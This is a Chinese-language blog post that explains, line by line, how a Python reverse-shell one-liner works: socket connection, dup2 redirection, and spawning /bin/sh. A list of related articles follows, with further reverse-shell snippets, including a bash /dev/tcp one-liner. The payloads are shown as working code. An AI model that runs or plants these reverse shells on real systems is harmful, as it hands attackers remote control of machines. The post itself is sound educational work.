前言

昨天学习了反弹shell,对python弹shell产生了一些疑惑

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

分析

把代码排版一下

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.190.1",8080))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

分析一下代码,分为三个部分socketossubprocess

1.socket部分

import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.190.1",8080))

接下来逐行分析

import socket

导入python socket库

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

使用socket函数创建一个套接字,AF_INET表示是一个IPv4的套接字,SOCK_STREAM表示使用TCP流式socket

s.connect(("192.168.190.1",8080))

连接到192.168.190.1:8080处的套接字

2.os部分

import os
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

这里我一开始不知道dup2函数是干什么用的,百度了一会才知道

引用菜鸟教程的解释

os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。

而fileno()函数就是返回一个文件的文件描述符

那么,什么是文件描述符呢?

在linux中系统对于文件的操作是根据文件描述符来决定的,文件描述符是一个比较小的大于等于3的整数,0表示标准输入stdin,1表示标准输出stdout,2表示标准错误输出stderr

所以上面的函数作用就是把stdin,stdout,stderr的内容替换为套接字返回的内容,所以在本机nc监听就会创建一个套接字进程,是的在本地输入的内容就直接作为宿主机的stdin,stdout的内容也会在本地显示

3. subprocess部分

import subprocess
p=subprocess.call(["/bin/sh","-i"])

先引用一段关于subprocess库的描述

它允许你生成新的进程,连接到它们的 input/output/error 管道,并获取它们的返回(状态)码

而call函数的作用就是执行指定的命令,返回命令执行的状态码

所以这句代码的作用就是生成新的进程,调用/bin/sh

综上,shell就会被subprocess调用,并用socket传输的数据替代stdin,stdout,stderr,使得在本地就能操作宿主机

问题

虽然大致解决了原理,但是还有一些代码方面的问题

fileno应该是只有文件类型才能使用的函数,但是socket套接字却能够使用

我觉得是因为数据流和文件流之类的问题,详细情况还待之后学习……

记一次对python反弹shell的分析的更多相关文章

  1. 利用python模拟菜刀反弹shell绕过限制

    有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell 主要用到python os库和sokect库 这里的服务端在目标机上运行 from sock ...

  2. linux下反弹shell

    01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10      192.168.43.151       监听端    装有nc kali        ...

  3. Linux下几种反弹Shell方法的总结与理解

    之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在 ...

  4. 13. linux渗透之反弹shell

    实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...

  5. 反弹Shell原理及检测技术研究

    1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...

  6. Linux 反弹 Shell

    攻击场景 Attacker:192.168.0.106 win10 Victim:192.168.2.140 kali NC 反弹 shell Netcat简介 俗称瑞士军刀或NC,小巧强悍,可以读写 ...

  7. Liunx反弹shell的几种方式

    什么是反弹shell? 简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80,这是因为在服务器上面开启了80端口的 ...

  8. 各种反弹shell的总结

    linux自带的bash反弹shell 在攻击机行执行 nc -lvvp 12345 来监听端口 在目标机上执行bash -i >& /dev/tcp/攻击机IP/12345 0> ...

  9. python反弹tty shell

    linux环境下进行内外渗透需要反弹shell连接内网ssh,Telnet等,就需要tty层的shell了.python代码转过来的,备用. #!/usr/bin/python import sys ...

随机推荐

  1. JSP表单提交出现中文乱码的解决方法

    1)post方式 在servlet的doGet( )  doPost( )  中增加以下代码: response.setContentType("text/html;charset=utf- ...

  2. 数据结构—队列(Queue)

    队列的定义--Queue 队列是只允许在表的队尾插入,在表的队头进行删除.队列具有先进先出的特性(FIFO, First In First Out). 队列提供了下面的操作 q.empty() 如果队 ...

  3. BZOJ4361 isn(动态规划+树状数组+容斥原理)

    首先dp出长度为i的不下降子序列个数,显然这可以树状数组做到O(n2logn). 考虑最后剩下的序列是什么,如果不管是否合法只是将序列删至只剩i个数,那么方案数显然是f[i]*(n-i)!.如果不合法 ...

  4. [洛谷P1120]小木棍 [数据加强版]

    题目大意:有一些同样长的木棍,被切割成几段(长$\leqslant$50).给出每段小木棍的长度,找出原始木棍的最小可能长度. 题解:dfs C++ Code: #include<cstdio& ...

  5. [Leetcode] word break ii拆分词语

    Given a string s and a dictionary of words dict, add spaces in s to construct a sentence where each ...

  6. [Leetcode] first missing positve 缺失的第一个正数

    Given an unsorted integer array, find the first missing positive integer. For example,Given[1,2,0]re ...

  7. 如何使用Photoshop批量扫描保存文档

    以笔主手头上的Canon LIDE 100为例 先安装好扫描仪驱动程序,可使用自带驱动光盘或驱动精灵等程序完成. 打开Photoshop程序,以CS5为例,找到扫描仪入口: 点开高级模式进行配置,笔主 ...

  8. 解决IE下页面空白或者报错:[vuex] vuex requires a Promise polyfill in this browser

    [vuex] vuex requires a Promise polyfill in this browser 上述错误的原因是不支持 Promise 方法,导致页面出现空白无法加载. 解决方法如下: ...

  9. 线程 ManualResetEvent 类

    Reset(): 当一个线程开始一个活动(此活动必须完成后,其他线程才能开始)时, 它调用 Reset 以将 ManualResetEvent 置于非终止状态.此线程可被视为控制 ManualRese ...

  10. jquery中的get和post、ajax有关返回值的问题描述

    一:前言 今天我就要离开公司回学校准备考试,在走之前,我自己做的一个模块测试除了一些小的bug.问题如下 我在往数据库中插入数据,首先要选择一级菜单,接着会更具一级菜单生成一级菜单的子目录,在选择日期 ...